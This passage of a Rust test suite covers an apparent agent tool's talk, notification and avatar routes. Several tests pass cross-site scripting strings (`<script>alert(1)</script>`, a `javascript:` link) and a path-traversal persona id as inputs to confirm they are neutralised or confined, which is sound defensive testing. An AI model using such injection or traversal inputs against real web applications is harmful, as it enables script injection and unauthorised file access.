13460        let f = Fixture::with_repo(repo).await;
13461        let first = f.get("/api/repos").await;
13462        assert_eq!(first.json().as_array().map(Vec::len), Some(1));
13463
13464        // A second checkout appears; within the TTL the cached answer must
13465        // not notice it.
13466        make_checkout(&root, "github.com", "yukimemi", "rvpm");
13467        let second = f.get("/api/repos").await;
13468        assert_eq!(
13469            second.json().as_array().map(Vec::len),
13470            Some(1),
13471            "a fresh cache must not rescan inside the TTL"
13472        );
13473
13474        let refreshed = f.get("/api/repos?refresh=1").await;
13475        assert_eq!(
13476            refreshed.json().as_array().map(Vec::len),
13477            Some(2),
13478            "an explicit refresh must rescan even inside the TTL"
13479        );
13480    }
13481
13482    /// A `kind = "command"` agent that ignores its prompt and answers a fixed
13483    /// string, declared straight in a repository's own `magi.toml` rather
13484    /// than the operator's real roster. No real agent CLI is spawned - `sh`
13485    /// is the interpreter, the same as `talk::tests::mock_agent` uses - so
13486    /// this is safe to run over a real HTTP round trip.
13487    const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
13488
13489    /// A repo carrying `MOCK_AGENT_TOML`, for the talk routes that need a
13490    /// real `Config::discover` to find an agent - `talk::begin` resolves one
13491    /// even though it takes no turn, and `talk_say` invokes one.
13492    async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
13493        let tmp = TempDir::new().expect("tempdir");
13494        let repo = tmp.path().join("repo");
13495        std::fs::create_dir_all(&repo).expect("repo dir");
13496        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
13497        let f = Fixture::with_repo(repo.clone()).await;
13498        (tmp, repo, f)
13499    }
13500
13501    #[tokio::test]
13502    async fn posting_a_talk_with_remembered_choices_is_soft() {
13503        let (_tmp, _repo, f) = talk_fixture().await;
13504
13505        let good = f
13506            .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
13507            .await;
13508        assert_eq!(good.status, 201, "{}", good.body);
13509        assert_eq!(good.json()["persona"], "rei");
13510
13511        // Wrong values and wrong types are dropped one by one, never a 4xx.
13512        let stale = f
13513            .post(
13514                "/api/talks",
13515                Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
13516            )
13517            .await;
13518        assert_eq!(stale.status, 201, "{}", stale.body);
13519        let v = stale.json();
13520        assert_eq!(v["implementers"], 1);
13521        assert_ne!(v["persona"], "nobody");
13522        let typed = f
13523            .post(
13524                "/api/talks",
13525                Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
13526            )
13527            .await;
13528        assert_eq!(typed.status, 201, "{}", typed.body);
13529
13530        // The strict `agent` field still refuses an unknown id.
13531        let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
13532        assert!(
13533            !strict.status.to_string().starts_with('2'),
13534            "{}",
13535            strict.body
13536        );
13537    }
13538
13539    #[tokio::test]
13540    async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
13541        let (_tmp, _repo, f) = talk_fixture().await;
13542
13543        // No body at all - `f.post(.., None)` sends no `Content-Type` either -
13544        // is the ordinary way a phone opens a talk.
13545        let opened = f.post("/api/talks", None).await;
13546        assert_eq!(opened.status, 201, "{}", opened.body);
13547        let body = opened.json();
13548        assert_eq!(body["status"], "open");
13549        assert_eq!(
13550            body["turns"].as_array().unwrap().len(),
13551            0,
13552            "opening takes no agent turn: there is nothing yet to answer"
13553        );
13554
13555        // An explicit empty object is the same request as none at all.
13556        let also_opened = f.post("/api/talks", Some("{}")).await;
13557        assert_eq!(also_opened.status, 201, "{}", also_opened.body);
13558
13559        let listed = f.get("/api/talks").await.json();
13560        assert_eq!(listed.as_array().unwrap().len(), 2);
13561    }
13562
13563    #[tokio::test]
13564    async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
13565        let tmp = TempDir::new().expect("tempdir");
13566        let repo = tmp.path().join("repo");
13567        std::fs::create_dir_all(&repo).expect("repo dir");
13568        let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
13569        std::fs::write(
13570            repo.join("magi.toml"),
13571            format!("{MOCK_AGENT_TOML}\n{second}"),
13572        )
13573        .expect("write magi.toml");
13574        let home = TempDir::new().expect("temp home");
13575        let talks = Talks::at(home.path().join("talks"));
13576        let ui = Arc::new(
13577            Ui::new(
13578                Queue::at(home.path().join("queue")),
13579                Questions::at(home.path().join("questions")),
13580                talks.clone(),
13581                home.path().join("runs"),
13582                home.path().to_path_buf(),
13583                repo.clone(),
13584            )
13585            .with_worktrees_root(home.path().join("wt")),
13586        );
13587        let cfg = config_for(&repo).await.expect("discover config");
13588        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
13589        let id = talk.id.clone();
13590        let call = |agent: &str| {
13591            talk_agent(
13592                State(Arc::clone(&ui)),
13593                Path(id.clone()),
13594                Json(TalkAgent {
13595                    agent: agent.to_owned(),
13596                }),
13597            )
13598        };
13599
13600        let unknown = call("nobody").await.expect_err("unknown agent");
13601        assert_eq!(
13602            unknown.status,
13603            StatusCode::BAD_REQUEST,
13604            "{}",
13605            unknown.message
13606        );
13607
13608        {
13609            // Nothing refused so far took a claim, so the guard is free to take
13610            // and holding it is what makes the talk busy.
13611            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
13612            let busy = call("second").await.expect_err("busy talk");
13613            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
13614            assert!(
13615                busy.message.contains("a talk turn is running"),
13616                "{}",
13617                busy.message
13618            );
13619            drop(guard);
13620        }
13621        assert_eq!(talks.get(&id).expect("reload").agent, "mock");
13622
13623        let Json(view) = call("second").await.expect("switch");
13624        assert_eq!(view.talk.agent, "second");
13625        assert_eq!(view.talk.turns.len(), 1, "the change is noted");
13626        let saved = talks.get(&id).expect("reload");
13627        assert_eq!(saved.agent, "second");
13628        assert_eq!(saved.turns.len(), 1);
13629        assert!(!view.thinking);
13630        assert!(!ui.is_thinking(&id), "idle response must release the claim");
13631        for agent in ["mock", "second"] {
13632            let Json(view) = call(agent).await.expect("immediate consecutive change");
13633            assert_eq!(view.talk.agent, agent);
13634            assert!(!view.thinking);
13635            assert!(!ui.is_thinking(&id));
13636        }
13637
13638        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
13639            .await
13640            .expect("detail");
13641        let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
13642        assert_eq!(roster, ["mock", "second"]);
13643
13644        let mut closed = talks.get(&id).expect("reload");
13645        talk::close(&mut closed, &talks).expect("close");
13646        let refused = call("mock").await.expect_err("closed talk");
13647        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
13648        assert!(
13649            refused.message.contains("takes no more turns"),
13650            "{}",
13651            refused.message
13652        );
13653    }
13654
13655    #[tokio::test]
13656    async fn talk_implementers_validates_and_refuses_busy_or_closed() {
13657        let tmp = TempDir::new().expect("tempdir");
13658        let repo = tmp.path().join("repo");
13659        std::fs::create_dir_all(&repo).expect("repo dir");
13660        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
13661        let home = TempDir::new().expect("temp home");
13662        let talks = Talks::at(home.path().join("talks"));
13663        let ui = Arc::new(
13664            Ui::new(
13665                Queue::at(home.path().join("queue")),
13666                Questions::at(home.path().join("questions")),
13667                talks.clone(),
13668                home.path().join("runs"),
13669                home.path().to_path_buf(),
13670                repo.clone(),
13671            )
13672            .with_worktrees_root(home.path().join("wt")),
13673        );
13674        let cfg = config_for(&repo).await.expect("discover config");
13675        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
13676        let id = talk.id.clone();
13677        let call = |n: u8| {
13678            talk_implementers(
13679                State(Arc::clone(&ui)),
13680                Path(id.clone()),
13681                Json(TalkImplementers { implementers: n }),
13682            )
13683        };
13684
13685        for bad in [0u8, 4] {
13686            let e = call(bad).await.expect_err("out of range");
13687            assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
13688        }
13689        assert_eq!(talks.get(&id).expect("reload").implementers, 1);
13690
13691        {
13692            // Nothing refused so far took a claim, so the guard is free to take
13693            // and holding it is what makes the talk busy.
13694            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
13695            let busy = call(2).await.expect_err("busy talk");
13696            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
13697            assert!(
13698                busy.message.contains("a talk turn is running"),
13699                "{}",
13700                busy.message
13701            );
13702            drop(guard);
13703        }
13704
13705        let Json(view) = call(3).await.expect("switch");
13706        assert_eq!(view.talk.implementers, 3);
13707        assert!(talks.get(&id).expect("reload").implementers_dirty);
13708        assert!(!view.thinking);
13709        assert!(!ui.is_thinking(&id), "idle response must release the claim");
13710        for n in [1, 2, 3] {
13711            let Json(view) = call(n).await.expect("immediate consecutive change");
13712            assert_eq!(view.talk.implementers, n);
13713            assert!(!view.thinking);
13714            assert!(!ui.is_thinking(&id));
13715        }
13716
13717        let mut closed = talks.get(&id).expect("reload");
13718        talk::close(&mut closed, &talks).expect("close");
13719        let e = call(2).await.expect_err("closed talk");
13720        assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
13721        assert!(e.message.contains("takes no more turns"), "{}", e.message);
13722    }
13723
13724    /// A repo with `extra` appended to the mock agent's config, and a talk in it.
13725    async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
13726        let tmp = TempDir::new().expect("tempdir");
13727        let repo = tmp.path().join("repo");
13728        std::fs::create_dir_all(&repo).expect("repo dir");
13729        std::fs::write(
13730            repo.join("magi.toml"),
13731            format!("{MOCK_AGENT_TOML}\n{extra}"),
13732        )
13733        .expect("write magi.toml");
13734        let home = TempDir::new().expect("temp home");
13735        let talks = Talks::at(home.path().join("talks"));
13736        let ui = Arc::new(
13737            Ui::new(
13738                Queue::at(home.path().join("queue")),
13739                Questions::at(home.path().join("questions")),
13740                talks.clone(),
13741                home.path().join("runs"),
13742                home.path().to_path_buf(),
13743                repo.clone(),
13744            )
13745            .with_worktrees_root(home.path().join("wt")),
13746        );
13747        let cfg = config_for(&repo).await.expect("discover config");
13748        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
13749        (tmp, home, ui, talk.id, repo)
13750    }
13751
13752    #[tokio::test]
13753    async fn magi_provenance_view_resolves_legacy_replies_and_mixed_messages() {
13754        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
13755        let mut conversation = ui.talks.get(&id).unwrap();
13756        talk::record(
13757            &mut conversation,
13758            &ui.talks,
13759            "# Update on a task you filed\noperator words",
13760            vec![],
13761        )
13762        .unwrap();
13763        // Simulate an old operator record; headings do not prove authorship.
13764        conversation.turns[0].sender = None;
13765        conversation.turns[0].messages.clear();
13766        ui.talks.put(&mut conversation).unwrap();
13767        talk::queue(&mut conversation, &ui.talks, "owner", vec![]).unwrap();
13768        talk::queue_once(&mut conversation, &ui.talks, "automatic report", "notice").unwrap();
13769        talk::drain(&mut conversation, &ui.talks).unwrap();
13770        talk::record_reply(
13771            &mut conversation,
13772            &ui.talks,
13773            "about that report",
13774            vec![],
13775            Some(talk::ReplyTarget {
13776                turn: 1,
13777                message: 1,
13778            }),
13779        )
13780        .unwrap();
13781        conversation.turns[2].messages[0]
13782            .reply
13783            .as_mut()
13784            .unwrap()
13785            .sender = None;
13786        conversation.turns.push(talk::Turn {
13787            sender: Some(talk::Sender::Persona),
13788            who: talk::Who::Agent,
13789            body: "magi: actual persona words".into(),
13790            at: Timestamp::now(),
13791            attachments: vec![],
13792            usage: None,
13793            breaks: None,
13794            messages: vec![],
13795            posted_by: None,
13796        });
13797        ui.talks.put(&mut conversation).unwrap();
13798        let view = TalkView::with_config(
13799            ui.talks.get(&id).unwrap(),
13800            false,
13801            None,
13802            &ui.home,
13803            &ui.references,
13804        );
13805        assert_eq!(view.talk.turns[0].sender, Some(talk::Sender::Operator));
13806        assert_eq!(
13807            view.talk.turns[1].messages[0].sender,
13808            Some(talk::Sender::Operator)
13809        );
13810        assert_eq!(
13811            view.talk.turns[1].messages[1].sender,
13812            Some(talk::Sender::Magi)
13813        );
13814        assert_eq!(
13815            view.talk.turns[2].messages[0]
13816                .reply
13817                .as_ref()
13818                .unwrap()
13819                .sender,
13820            Some(talk::Sender::Magi)
13821        );
13822        assert_eq!(view.talk.turns[3].sender, Some(talk::Sender::Persona));
13823        assert_eq!(view.turn_messages_md[0].len(), 1);
13824        assert!(view.turn_messages_md[0][0].is_none());
13825        assert!(view.turn_messages_md[1][0].is_none());
13826        assert!(view.turn_messages_md[1][1].is_some());
13827    }
13828
13829    #[tokio::test]
13830    async fn notification_display_survives_queue_history_and_reply_without_changing_input() {
13831        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
13832        let mut conversation = ui.talks.get(&id).unwrap();
13833        let (body, display) = crate::prompt::chat_watch_report("watch-123", "failed", "output");
13834        talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
13835        talk::queue_notice(
13836            &mut conversation,
13837            &ui.talks,
13838            &body,
13839            "watch:123",
13840            &|_| false,
13841            None,
13842            display.clone(),
13843        )
13844        .unwrap();
13845        assert!(
13846            !talk::queue_notice(
13847                &mut conversation,
13848                &ui.talks,
13849                &body,
13850                "watch:123",
13851                &|_| false,
13852                None,
13853                display.clone()
13854            )
13855            .unwrap()
13856        );
13857        let saved = ui.talks.get(&id).unwrap();
13858        assert_eq!(saved.pending_messages[0].display, Some(display.clone()));
13859        let view = TalkView::with_config(saved, false, None, &ui.home, &ui.references);
13860        assert!(
13861            view.talk.turns[0].messages[0].display.is_none(),
13862            "operator copy stays literal"
13863        );
13864        assert_eq!(view.talk.pending_messages[0].display, Some(display.clone()));
13865        assert!(view.turn_messages_md[0][0].is_none());
13866        let queued_md = view.pending_messages_md[0].clone();
13867        assert_eq!(
13868            queued_md,
13869            Some(md::to_nodes(&display.facts, &md::ImageBase::None))
13870        );
13871        talk::drain(&mut conversation, &ui.talks).unwrap();
13872        talk::record_reply(
13873            &mut conversation,
13874            &ui.talks,
13875            "Explain",
13876            vec![],
13877            Some(talk::ReplyTarget {
13878                turn: 1,
13879                message: 0,
13880            }),
13881        )
13882        .unwrap();
13883        let mut saved = ui.talks.get(&id).unwrap();
13884        assert_eq!(saved.turns[1].messages[0].body, body);
13885        assert_eq!(saved.turns[1].messages[0].display, Some(display.clone()));
13886        let reply = saved.turns[2].messages[0].reply.as_mut().unwrap();
13887        assert!(!reply.excerpt.contains("automatic report"));
13888        reply.excerpt = body.chars().take(240).collect(); // old saved quote
13889        saved.turns[1].messages[0].display = None; // old MAGI send
13890        ui.talks.put(&mut saved).unwrap();
13891        let view = TalkView::with_config(
13892            ui.talks.get(&id).unwrap(),
13893            false,
13894            None,
13895            &ui.home,
13896            &ui.references,
13897        );
13898        assert_eq!(view.turn_messages_md[1][0], queued_md);
13899        assert_eq!(view.talk.turns[1].messages[0].display, Some(display));
13900        assert!(
13901            !view.talk.turns[2].messages[0]
13902                .reply
13903                .as_ref()
13904                .unwrap()
13905                .excerpt
13906                .contains("automatic report")
13907        );
13908        assert_eq!(ui.talks.get(&id).unwrap().turns[1].messages[0].body, body);
13909    }
13910
13911    #[tokio::test]
13912    async fn consultation_display_hides_directives_in_queue_and_history() {
13913        for node in [
13914            "implement",
13915            crate::land::APPROVAL_NODE,
13916            crate::github_text::ASK_NODE,
13917        ] {
13918            let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
13919            let mut question = Question::new(
13920                "run-123".into(),
13921                node.into(),
13922                "seat-1".into(),
13923                "Which backend?".into(),
13924                "## Context\n\nUse `storage`.\n\n<script>literal</script>".into(),
13925                vec!["SQLite".into(), "Redis".into()],
13926            );
13927            ui.questions.put(&mut question).unwrap();
13928            let body = crate::prompt::chat_consult(&question);
13929            let mut conversation = ui.talks.get(&id).unwrap();
13930            talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
13931            assert!(
13932                crate::consult::begin(&ui.questions, &ui.talks, &question, &conversation).unwrap()
13933            );
13934            conversation = ui.talks.get(&id).unwrap();
13935            assert_eq!(conversation.pending_messages[0].body, body);
13936            assert!(body.contains("magi answer"));
13937            let mut legacy_pending = conversation.clone();
13938            legacy_pending.pending_messages[0].display = None;
13939            let legacy_view =
13940                TalkView::with_config(legacy_pending, false, None, &ui.home, &ui.references);
13941            let legacy_md = serde_json::to_string(&legacy_view.pending_messages_md[0]).unwrap();
13942            assert!(legacy_md.contains("Question consultation"));
13943            assert!(!legacy_md.contains("magi answer"));
13944            let view =
13945                TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
13946            assert!(
13947                view.turn_messages_md[0][0].is_none(),
13948                "operator copy stays literal"
13949            );
13950            let queued_md = view.pending_messages_md[0].clone().unwrap();
13951            let rendered = serde_json::to_string(&queued_md).unwrap();
13952            for visible in [
13953                "Which backend?",
13954                "Context",
13955                "storage",
13956                "SQLite",
13957                "Redis",
13958                "<script>literal</script>",
13959            ] {
13960                assert!(rendered.contains(visible), "missing {visible}");
13961            }
13962            for directive in [
13963                "What to do",
13964                "magi answer",
13965                "Never answer it yourself",
13966                "Do not edit the repository",
13967            ] {
13968                assert!(!rendered.contains(directive), "exposed {directive}");
13969            }
13970            assert_eq!(
13971                view.talk.pending_messages[0].display,
13972                Some(crate::prompt::chat_consult_display(&question))
13973            );
13974            talk::drain(&mut conversation, &ui.talks).unwrap();
13975            let view =
13976                TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
13977            assert_eq!(view.turn_messages_md[1][0], Some(queued_md));
13978            assert_eq!(conversation.turns[1].messages[0].body, body);
13979
13980            // Historical consultations lack a snapshot: show a safe placeholder
13981            // rather than parsing instructions or reconstructing mutable facts.
13982            conversation.turns[1].messages[0].display = None;
13983            let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
13984            let legacy = serde_json::to_string(&view.turn_messages_md[1][0]).unwrap();
13985            assert!(legacy.contains("Question consultation"));
13986            assert!(!legacy.contains("magi answer"));
13987            assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
13988        }
13989    }
13990
13991    #[test]
13992    fn notification_markdown_uses_only_visible_facts_and_explicit_provenance() {
13993        let facts = "# Update\n\n- `task` [PR](https://example.org)\n\n```sh\necho ok\n```\n\n<script>alert(1)</script>\n\n[bad](javascript:alert(1))";
13994        let (body, mut display) =
13995            crate::prompt::chat_watch_report("watch-123", "failed", "<script>untrusted</script>");
13996        display.facts = facts.into();
13997        let nodes = notice_markdown(talk::Sender::Magi, &body, Some(&display)).unwrap();
13998        assert_eq!(nodes, md::to_nodes(facts, &md::ImageBase::None));
13999        let json = serde_json::to_string(&nodes).unwrap();
14000        for kind in ["heading", "bullet_list", "code", "link", "code_block"] {
14001            assert!(json.contains(&format!("\"type\":\"{kind}\"")));
14002        }
14003        assert!(json.contains("<script>alert(1)</script>"));
14004        assert!(!json.contains("javascript:"));
14005        assert!(!json.contains("Tell the operator"));
14006        assert!(!json.contains("untrusted"));
14007        assert!(notice_markdown(talk::Sender::Operator, facts, None).is_none());
14008        assert!(notice_markdown(talk::Sender::Operator, &body, Some(&display)).is_none());
14009        assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
14010        assert_eq!(
14011            notice_markdown(talk::Sender::Magi, "magi: # Status", None).unwrap(),
14012            md::to_nodes("# Status", &md::ImageBase::None),
14013        );
14014    }
14015
14016    #[tokio::test]
14017    async fn notification_display_recovers_exact_legacy_completion_references() {
14018        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14019        let mut conversation = ui.talks.get(&id).unwrap();
14020        let (body, display) = crate::prompt::chat_task_report(&crate::prompt::ChatTaskNotice {
14021            id: "task-123",
14022            title: "Change",
14023            status: "done",
14024            reason: None,
14025            run: Some("run-123"),
14026            pr: None,
14027            summary: Some("Merge state unknown"),
14028        });
14029        talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
14030        conversation.turns[0].sender = None;
14031        conversation.turns[0].messages.clear();
14032        conversation.turns[0].breaks = None;
14033        conversation.pending = body.clone();
14034        conversation
14035            .completion_notices
14036            .push(crate::chat_notify::CompletionReference {
14037                task: "task-123".into(),
14038                run: Some("run-123".into()),
14039                notice: body.clone(),
14040            });
14041        ui.talks.put(&mut conversation).unwrap();
14042        let view = TalkView::with_config(
14043            ui.talks.get(&id).unwrap(),
14044            false,
14045            None,
14046            &ui.home,
14047            &ui.references,
14048        );
14049        assert_eq!(
14050            view.talk.turns[0].messages[0].display,
14051            Some(display.clone())
14052        );
14053        assert_eq!(view.talk.pending_messages[0].display, Some(display));
14054        assert_eq!(
14055            view.talk.turns[0].messages[0].sender,
14056            Some(talk::Sender::Magi)
14057        );
14058        assert!(ui.talks.get(&id).unwrap().turns[0].messages.is_empty());
14059        conversation.completion_notices[0]
14060            .notice
14061            .push_str("different");
14062        let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
14063        assert!(view.talk.turns[0].messages.is_empty());
14064        assert!(view.talk.pending_messages.is_empty());
14065    }
14066
14067    #[tokio::test]
14068    async fn avatar_settings_report_states_and_inherit_after_corruption() {
14069        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
14070        let (_tmp, home, ui, _, _) = avatar_fixture(&format!(
14071            "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n"
14072        ))
14073        .await;
14074        let path = avatar_setting_path(home.path(), Some("rei"));
14075        let orphan = avatar_setting_path(home.path(), Some("removed"));
14076        save_icon_file(&orphan, icon).unwrap();
14077        for (saved, expected) in [
14078            (icon, "custom"),
14079            ("builtin", "builtin"),
14080            ("data:image/png;base64,!!!!", "inherit"),
14081            ("data:image/png;base64,PGh0bWw+", "inherit"),
14082            ("/tmp/avatar.png", "inherit"),
14083        ] {
14084            atomic_icon_write(&path, saved).unwrap();
14085            let catalog =
14086                avatar_settings_get(State(ui.clone()), Query(AvatarSettingsQuery::default()))
14087                    .await
14088                    .unwrap()
14089                    .0;
14090            let personas = catalog["personas"].as_array().unwrap();
14091            let rei = personas.iter().find(|p| p["id"] == "rei").unwrap();
14092            assert_eq!(rei["override_state"], expected);
14093            assert_eq!(rei["has_config_icon"], true);
14094            assert_eq!(rei["is_orphan"], false);
14095            let removed = personas.iter().find(|p| p["id"] == "removed").unwrap();
14096            assert_eq!(removed["override_state"], "custom");
14097            assert_eq!(removed["is_orphan"], true);
14098            let default = personas.iter().find(|p| p["id"] == "default").unwrap();
14099            assert_eq!(default["override_state"], "inherit");
14100            assert_eq!(default["has_config_icon"], false);
14101            let effective = effective_persona_icon(home.path(), "rei", Some(icon));
14102            assert_eq!(
14103                effective.as_deref(),
14104                Some(if expected == "builtin" { "" } else { icon })
14105            );
14106        }
14107    }
14108
14109    #[tokio::test]
14110    async fn avatar_settings_persist_reset_isolate_and_reject_invalid_images() {
14111        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
14112        let (_tmp, home, ui, id, repo) = avatar_fixture(&format!(
14113            "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n\n[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Stay concise\"\n"
14114        ))
14115        .await;
14116        let target = |id: Option<&str>| AvatarSettingsQuery {
14117            persona: id.map(str::to_owned),
14118            ..Default::default()
14119        };
14120        let original_config = config_for(&repo).await.unwrap();
14121        let original_persona = persona::find(&original_config.talk.personas, "rei").unwrap();
14122        let original_prompt = persona::section_for(&original_persona, None);
14123        let before = talk_detail(State(ui.clone()), Path(id.clone()))
14124            .await
14125            .unwrap()
14126            .0;
14127        for persona in [None, Some("rei"), Some("magi"), Some("../custom/日本語")] {
14128            let _ = avatar_settings_put(
14129                State(ui.clone()),
14130                Query(target(persona)),
14131                Json(MagiIconUpload { icon: icon.into() }),
14132            )
14133            .await
14134            .unwrap();
14135            let path = avatar_setting_path(home.path(), persona);
14136            assert!(path.starts_with(home.path().join("avatars")));
14137            assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
14138            for bad in [
14139                "/tmp/image.png".to_owned(),
14140                "data:image/png;base64,!!!!".to_owned(),
14141                "data:image/png;base64,PGh0bWw+".to_owned(),
14142                "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
14143                format!(
14144                    "data:image/png;base64,{}",
14145                    "A".repeat(persona_icon::ICON_MAX_BYTES)
14146                ),
14147            ] {
14148                assert!(
14149                    avatar_settings_put(
14150                        State(ui.clone()),
14151                        Query(target(persona)),
14152                        Json(MagiIconUpload { icon: bad })
14153                    )
14154                    .await
14155                    .is_err()
14156                );
14157                assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
14158            }
14159        }
14160        assert!(read_magi_icon(home.path()).is_none());
14161        assert!(effective_persona_icon(home.path(), "asuka", None).is_none());
14162        let after = talk_detail(State(ui.clone()), Path(id.clone()))
14163            .await
14164            .unwrap()
14165            .0;
14166        assert_ne!(before.view.operator_avatar, after.view.operator_avatar);
14167        assert_ne!(
14168            before
14169                .personas
14170                .iter()
14171                .find(|p| p.id == "magi")
14172                .unwrap()
14173                .avatar,
14174            after
14175                .personas
14176                .iter()
14177                .find(|p| p.id == "magi")
14178                .unwrap()
14179                .avatar
14180        );
14181        let restarted = Arc::new(Ui::new(
14182            Queue::at(home.path().join("queue")),
14183            Questions::at(home.path().join("questions")),
14184            Talks::at(home.path().join("talks")),
14185            home.path().join("runs"),
14186            home.path().to_owned(),
14187            repo,
14188        ));
14189        let catalog = avatar_settings_get(State(restarted.clone()), Query(target(None)))
14190            .await
14191            .unwrap()
14192            .0;
14193        assert!(
14194            catalog["personas"]
14195                .as_array()
14196                .unwrap()
14197                .iter()
14198                .any(|p| p["id"] == "../custom/日本語")
14199        );
14200        for expected in ["custom", "default", "rei"] {
14201            assert!(
14202                catalog["personas"]
14203                    .as_array()
14204                    .unwrap()
14205                    .iter()
14206                    .any(|p| p["id"] == expected)
14207            );
14208        }
14209        let response =
14210            operator_avatar(State(restarted.clone()), Query(AvatarQuery::default())).await;
14211        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
14212        let _ = avatar_settings_delete(State(restarted.clone()), Query(target(Some("rei"))))
14213            .await
14214            .unwrap();
14215        assert_eq!(
14216            effective_persona_icon(home.path(), "rei", Some(icon)),
14217            Some(String::new())
14218        );
14219        let response = talk_avatar(
14220            State(restarted.clone()),
14221            Path(id.clone()),
14222            Query(AvatarQuery {
14223                persona: Some("rei".into()),
14224                ..Default::default()
14225            }),
14226        )
14227        .await
14228        .unwrap();
14229        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/svg+xml");
14230        let reset = talk_detail(State(restarted.clone()), Path(id.clone()))
14231            .await
14232            .unwrap()
14233            .0;
14234        assert_ne!(
14235            after
14236                .personas
14237                .iter()
14238                .find(|p| p.id == "rei")
14239                .unwrap()
14240                .avatar,
14241            reset
14242                .personas
14243                .iter()
14244                .find(|p| p.id == "rei")
14245                .unwrap()
14246                .avatar
14247        );
14248        let mut inherit = target(Some("rei"));
14249        inherit.inherit = Some("1".into());
14250        let _ = avatar_settings_delete(State(restarted.clone()), Query(inherit))
14251            .await
14252            .unwrap();
14253        assert_eq!(
14254            effective_persona_icon(home.path(), "rei", Some(icon)).as_deref(),
14255            Some(icon)
14256        );
14257        let _ = avatar_settings_delete(State(restarted.clone()), Query(target(None)))
14258            .await
14259            .unwrap();
14260        assert_eq!(operator_icon_url(home.path()), before.view.operator_avatar);
14261        assert_eq!(
14262            read_icon_file(&avatar_setting_path(home.path(), Some("magi"))).as_deref(),
14263            Some(icon)
14264        );
14265        // Display changes never rewrite the conversation or its prompt-bearing config.
14266        let cfg = config_for(&ui.repo).await.unwrap();
14267        let resolved = persona::find(&cfg.talk.personas, "rei").unwrap();
14268        assert_eq!(persona::section_for(&resolved, None), original_prompt);
14269        assert!(!original_prompt.contains("data:image"));
14270        assert_eq!(ui.talks.get(&id).unwrap().persona, before.view.talk.persona);
14271        let stored = serde_json::to_string(&ui.talks.get(&id).unwrap()).unwrap();
14272        assert!(!stored.contains("data:image"));
14273        let mut orphan = ui.talks.get(&id).unwrap();
14274        orphan.persona = "../custom/日本語".into();
14275        let view = TalkView::with_config(
14276            orphan,
14277            false,
14278            Some(&cfg),
14279            home.path(),
14280            &id_links::IndexCache::default(),
14281        );
14282        assert!(view.persona_avatar.contains("persona=..%2Fcustom%2F"));
14283    }
14284
14285    #[tokio::test]
14286    async fn magi_icon_saves_resets_revalidates_and_refreshes_cache() {
14287        let (_tmp, home, ui, id, repo) = avatar_fixture("").await;
14288        let original = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
14289        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
14290        let _ = magi_icon_put(
14291            State(ui.clone()),
14292            Json(MagiIconUpload { icon: icon.into() }),
14293        )
14294        .await
14295        .unwrap();
14296        let changed = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
14297        assert_ne!(original, changed);
14298        assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
14299        let response = magi_avatar(
14300            State(ui.clone()),
14301            Query(AvatarQuery {
14302                persona: None,
14303                builtin: None,
14304            }),
14305        )
14306        .await;
14307        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
14308        assert_eq!(response.headers()[header::CACHE_CONTROL], "no-cache");
14309        assert_eq!(
14310            response.headers()[header::X_CONTENT_TYPE_OPTIONS],
14311            "nosniff"
14312        );
